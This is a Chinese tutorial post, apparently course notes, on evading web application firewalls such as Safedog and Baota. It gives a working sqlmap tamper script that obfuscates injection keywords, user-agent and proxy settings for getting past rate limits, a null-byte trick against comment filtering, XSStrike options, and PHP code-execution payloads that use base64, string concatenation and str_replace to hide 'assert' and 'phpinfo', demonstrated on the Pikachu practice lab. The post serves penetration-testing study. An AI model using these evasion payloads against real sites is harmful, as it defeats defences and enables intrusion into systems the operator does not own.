03-WAF绕过-漏洞利用之注入上传跨站等绕过

news2024/11/13 10:07:51

WAF绕过-漏洞利用之注入上传跨站等绕过

思维导图

img

一、sql注入绕过

使用sqlmap注入测试绕过

1.绕过cc流量

通过sqlmap对网站进行测试的时候,如果对方有cc流量防护,需要给sqlmap设置一个代理进行注入。

  • 防cc拦截:修改user-agent头+代理(付费代理池)

修改user-agent头:

​ (1)加参数:–random-agent

  • 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。

​ (2)直接加上头部加参数:–user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  • 指定一个user-agent的值进行测试。

    • 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)

    (3)修改配置文件sqlmap.conf中的agent变量值

    ​ 加代理:–proxy=“http:tps123.kdlapi.com:15818”

    这里的代理为自己购买的。

2.绕过关键字

替换关键字为加密

编写的waf-dog.py:python脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload,**kwargs):
    retVal =""
    if payload:
        payload = payload.replace("union","%23a%0aunion")
        payload = payload.replace("select","/*!4457select*/")
        payload = payload.replace("%20","%23a%0a")
        payload = payload.replace(" ","%23a%0a")
        payload = payload.replace("database()","database%23a%0a()")
    return payload


//替换了关键字

3.注释拦截绕过

在买了宝塔付费产品后,过狗的payload中含有/*的都会被宝塔拦截。(宝塔比安全狗多了一个对/*进行检测),

因此同样用编写后绕过安全狗的tampe模块去跑网站,虽然绕过了安全狗,如果对方有宝塔,会被宝塔拦截。

方法:一但用到/*这些注释什么的,就在前面加上%00,宝塔就以为结束了,不会检测后面的数据了。

修改脚本,在使用/*的时候在前面加上%00

image-20230501211015429

img

语句示范:

sqlmap --proxy="http://127.0.0.1:8080" --tamper="waf.py" --random-agent


`--tamper=TAMPER` 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

另外,抓包查看sqlmap的指纹如下,会被waf拦截,所以需要修改us头。

img

二、文件上传

更改上传后缀名的格式

1.php 截断,参考之前学习的payload上传,绕过waf

和前面文件上传专题的绕过方法一样。

image-20230501211721069

三、XSS绕过WAF

利用 XSStrike工具进行测试
此时如果对方网站开启cc防护:
1.由于是工具,需要设置一个代理
2.设置延迟参数

即:利用xss trike绕过,加上–timeout或者–proxy绕过cc

xsstrike.py -u "目标网址" --timeout x  延时
xsstrike.py -u "目标网址" --proxy  代理地址

XSStrike参数:

-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟

四、RCE执行绕过

加密编码绕过?算法可逆?关键字绕过?提交方法?各种测试?

实例:目标pikachu靶场rce漏洞

1.RCE源代码:
接收post传入的参数,并且通过eval执行,如果没执行成功则输出字符串

image-20230501212011702

1.输入echo 123; 并执行,成功输出

image-20230501212321526

2.但是当输入phpinfo();时,连接被重置了,此处是因为敏感字符被waf检测到了所以进行拦截

image-20230501212349126

image-20230501212358043

拦截日志,触发了phpinfo()

image-20230501212422078

4.此时我们想到通过base64加密解密来绕过phpinfo(); 这个关键字

先把phpinfo();用base64加密,结果为cGhwaW5mbygpOw==,然后用php中的base64解密函数base64_decode()进行解密

所以在输入框内base64_decode(‘cGhwaW5mbygpOw==’);提交即可

当post将字符串base64_decode(‘cGhwaW5mbygpOw==’);提交后,对方后台接收到post值,并通过eval将字符串当成php代码执行,就成功对加密后的phpinfo();进行了解密还原。(此时感觉逻辑非常的通顺)

image-20230501212508023

5.提交后发现又被拦截了,此时我们打开宝塔的日志看了一眼,又被匹配到了敏感参数,这次是base64_decode()(我感觉就算没有拦截的话,通过上面源码看,传入后也执行不了,会报语法错误)

image-20230501212535213

6.此时就可以用字符串的拼接来绕过waf对关键字的匹配

(1) 因为waf只是拦截关键字,我们用字符串将关键字拼接起来,waf就不会识别到,并且可以执行同样的功能

例子:
$a='php'.'info();';assert($a);
将php和info(); 拼接起来赋值给变量a,再通过assert对执行变量a

image-20230501212616920

提交后

image-20230501212646648

(2) 或者用php中的str_replace函数替换变量中指定的字符串为空

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

(3) 上面的方法都有用到assert来执行phpinfo(); 如果assert也被过滤了呢
此时我们也可以用拼接字符串或者str_replace拆分来绕过关键字

$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxhpxinxfo()');$xxx($y)

image-20230501212926172

使用assert还有一点

image-20230501213254689

不使用没有显示是因为phpinfo()没有被执行,因此加个assert()函数

image-20230501213341729

也可以通过$_REQUEST提交方式绕过

完整语句:

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4ce

五、文件包含

以下几种:…\ …/ …\等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/481095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ADB调试删除手机内置应用

前言 最近手机升级到了鸿蒙3系统,但是内置了两个输入法,我想删掉小艺输入法,于是就有了这篇记录。   本文在B站上ADB调试卸载应用的教程的基础上,去掉了内网穿透相关操作步骤。 前期准备 手机(荣耀10青春版&#x…

3.4 只读存储器

学习目标: 学习只读存储器(ROM)的目标可以包括以下内容: 了解ROM的基本概念、分类以及适用场景。掌握ROM的电路原理、逻辑结构和读取方式。熟悉ROM的编程方式和编程工具。理解ROM与EPROM、EEPROM和闪存的区别和联系。了解ROM在计…

IPsec中IKE与ISAKMP过程分析(快速模式-消息1)

IPsec中IKE与ISAKMP过程分析(主模式-消息1)_搞搞搞高傲的博客-CSDN博客 IPsec中IKE与ISAKMP过程分析(主模式-消息2)_搞搞搞高傲的博客-CSDN博客 IPsec中IKE与ISAKMP过程分析(主模式-消息3)_搞搞搞高傲的博客…

[架构之路-181]-《软考-系统分析师》-19- 系统可靠性分析与设计 - 概览

前言: 可靠性工程是研究产品生命周期中故障的发生、发展规律,达到预防故障,消灭故 障,提高产品可用性的工程技术。 信息系统的可靠性是指系统在满足一定条件的应用环境中能够正常工作的能力,可以按一般工程系统的可靠性…

图像生成论文阅读:GLIDE算法笔记

标题:GLIDE: Towards Photorealistic Image Generation and Editing with Text-Guided Diffusion Models 会议:ICML2022 论文地址:https://proceedings.mlr.press/v162/nichol22a.html 官方代码:https://github.com/openai/glide-…

【算法】回文数

目录 一.回文数 二.求回文数(10000以内) 代码: 翻译: 调试: 三.判断回文数 代码: 调试: 一.回文数 "回文数"是一种数字。 如:12321, 这个数字正读是12321,倒读也是…

C++的类

文章目录 class定义类声明和定义不分离成员函数声明与定义的分离 类的访问限定符类的实例化类对象的大小this指针 引入:什么是类呢? 在C语言阶段,结构体成员只能是它的属性,这个结构体就相当于张三,小时候它只被赋予了名字,性别,家庭住址等属性,但是他没…

docker Mysql部署主从集群

目录 1 docker安装 2 docker mysql 安装配置 远程连接 2.0 配置 2.0.1 文件夹 配置 2.0.2 主库文件配置 my.cnf -> 主库 id 和 开启二进制日志 2.0.3 从库文件配置 -> 从库 id 2.1 mysql 主 -> 第一个端口号和从库不一样 2.1.1 docker run 主库 2.1.2 查看主…

Postman创建项目 对接口发起请求处理

查看本文之前 您需要理解了解 Postman 的几个简单工作区 如果还没有掌握 可以先查看我的文章 简单认识 Postman界面操作 那么 掌握之后 我们就可以正式来开启我们的接口测试 我们先选择 Collections 我们点上面这个加号 多拉一个项目出来 然后 我们选我们刚加号点出来的项目…

用LangChain构建大语言模型应用

用LangChain构建大语言模型应用 自 ChatGPT 发布以来,大型语言模型 (LLM) 广受欢迎。尽管您可能没有足够的资金和计算资源从头开始训练自己的大语言模型,但您仍然可以使用预训练的大语言模型来构建一些很酷的东西,例如: 可以根据…

01-权限提升-网站权限后台漏洞第三方获取

权限提升-网站权限后台漏洞第三方获取 本节课内容主要是权限提升的思路,不涉及技术 当前知识点在渗透流程中的点 前期-中期-后期对应知识关系 当前知识点在权限提升的重点 知识点顺序,理解思路,分类介绍等 当前知识点权限提升权限介绍 …

Java8

Java8 (一)、双列集合(二)、Map集合常用api(三)、Map集合的遍历方式(四)、HashMap(五)、LinkedHashMap(六)、TreeMap(七&a…

Steve:AI创建视频和动画的在线工具

【产品介绍】 steve.ai是一款利用人工智能技术创建视频和动画的在线工具,可以让任何人在几分钟内把文字转换成吸引人的视频。核心功能是根据用户输入的文本,自动选择合适的素材、音乐、字幕和动效,生成高质量的视频。还提供了多种模板、风格和…

Photoshop如何使用滤镜之实例演示?

文章目录 0.引言1.将普通照片制作成油画效果2.使用液化滤镜修出完美身材3.用镜头光晕滤镜制作唯美的逆光人像4.用Camera Raw滤镜对偏色风景照进行调色 0.引言 因科研等多场景需要进行绘图处理,笔者对PS进行了学习,本文通过《Photoshop2021入门教程》及其…

Servlet 笔记

1. HTTP 协议 1.1 HTTP协议简介 超文本传输协议(英文:HyperText Transfer Protocol,缩写:HTTP)是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是万维网的数据通信的基础。 HTTP的发展是由蒂姆伯纳斯-…

etcd原理剖析一

为什么Kubernetes使用etcd? 首先我们来看服务高可用以及数据一致性。单副本存在单点故障,而多副本又引入数据一致性问题。 为了解决数据一致性问题,需要引入一个共识算法。例如Raft等。etcd选择了Raft,它将复杂的一致性问题分解…

Maven 笔记

1. Maven 的简介 1.1 简介 Maven 这个词可以翻译为"专家","内行"。作为Apache 组织中的一个开源项目,主要服务于基于java平台的项目构建,依赖管理和项目信息管理。 无论是小型的开源类库项目,还是大型的企业级应用&am…

Spring 5 笔记 - 入门与IOC

1. Spring 入门简介 Spring:轻量级、开源的JavaEE框架, 解决企业应用的复杂性。包括IOC和AOP两个核心部分。 IOC: 控制反转,把创建对象和对象之间的调用的过程都交给Spring 进行管理,使耦合度降低。 AOP&#xff1a…

Winform从入门到精通(38)—StatusStrip(史上最全)更新中

一、属性 1、Name 获取StatusStrip控件对象 2、AllowDrop 允许用户拖拽数据到控件上 3、AllowItemReorder 当用于按下alt键时,是否允许对项进行排列,如下图: 4、AllowMerge 5、Anchor 6、AutoSize 7、BackColor 设置StatusStrip的背景色 8、BackgroundImage 设置背…

R语言方差分析

R中的方差分析 介绍用于比较独立组的不同类型的方差分析,包括: 单因素方差分析:独立样本 t 检验的扩展,用于在存在两个以上组的情况下比较均值。这是方差分析检验的最简单情况,其中数据仅根据一个分组变量&#xff0…